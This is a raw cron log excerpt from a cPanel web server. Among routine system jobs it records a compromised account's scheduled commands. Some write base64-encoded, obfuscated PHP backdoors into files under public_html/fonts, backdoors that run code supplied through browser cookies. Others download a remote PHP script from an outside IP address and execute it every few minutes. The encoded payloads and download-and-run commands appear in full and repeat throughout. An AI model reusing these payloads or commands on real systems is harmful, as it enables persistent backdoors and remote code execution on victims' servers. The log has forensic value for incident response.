Sep  2 03:33:01 ip-184-168-122-23 CROND[3657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:33:02 ip-184-168-122-23 CROND[3658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:34:01 ip-184-168-122-23 CROND[3856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:34:01 ip-184-168-122-23 CROND[3855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:34:01 ip-184-168-122-23 CROND[3859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:34:01 ip-184-168-122-23 CROND[3862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:34:01 ip-184-168-122-23 CROND[3860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:35:01 ip-184-168-122-23 CROND[4012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4015]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:35:01 ip-184-168-122-23 CROND[4018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:36:01 ip-184-168-122-23 CROND[4144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:36:01 ip-184-168-122-23 CROND[4146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:36:01 ip-184-168-122-23 CROND[4147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:36:01 ip-184-168-122-23 CROND[4145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:36:01 ip-184-168-122-23 CROND[4148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:37:01 ip-184-168-122-23 CROND[4246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:37:01 ip-184-168-122-23 CROND[4249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:37:01 ip-184-168-122-23 CROND[4248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:37:01 ip-184-168-122-23 CROND[4247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:38:01 ip-184-168-122-23 CROND[4371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:38:01 ip-184-168-122-23 CROND[4374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:38:01 ip-184-168-122-23 CROND[4373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:38:01 ip-184-168-122-23 CROND[4375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:38:01 ip-184-168-122-23 CROND[4376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:39:01 ip-184-168-122-23 CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:39:01 ip-184-168-122-23 CROND[4550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:39:01 ip-184-168-122-23 CROND[4553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:39:01 ip-184-168-122-23 CROND[4551]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 03:39:01 ip-184-168-122-23 CROND[4554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:40:01 ip-184-168-122-23 CROND[4666]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:40:01 ip-184-168-122-23 CROND[4670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:40:01 ip-184-168-122-23 CROND[4669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:40:01 ip-184-168-122-23 CROND[4671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:40:01 ip-184-168-122-23 CROND[4672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:40:01 ip-184-168-122-23 CROND[4673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:40:01 ip-184-168-122-23 CROND[4674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:40:01 ip-184-168-122-23 CROND[4678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:41:01 ip-184-168-122-23 CROND[4810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:41:01 ip-184-168-122-23 CROND[4813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:41:01 ip-184-168-122-23 CROND[4811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:41:01 ip-184-168-122-23 CROND[4812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:42:01 ip-184-168-122-23 CROND[4928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:42:01 ip-184-168-122-23 CROND[4929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:42:01 ip-184-168-122-23 CROND[4933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:42:01 ip-184-168-122-23 CROND[4932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:42:01 ip-184-168-122-23 CROND[4934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:43:01 ip-184-168-122-23 CROND[5047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:43:01 ip-184-168-122-23 CROND[5048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:43:01 ip-184-168-122-23 CROND[5050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:43:01 ip-184-168-122-23 CROND[5049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:44:01 ip-184-168-122-23 CROND[5135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:44:01 ip-184-168-122-23 CROND[5137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:44:01 ip-184-168-122-23 CROND[5136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:44:01 ip-184-168-122-23 CROND[5138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:44:01 ip-184-168-122-23 CROND[5139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:45:02 ip-184-168-122-23 CROND[5239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:45:02 ip-184-168-122-23 CROND[5240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:45:02 ip-184-168-122-23 CROND[5242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:45:02 ip-184-168-122-23 CROND[5244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
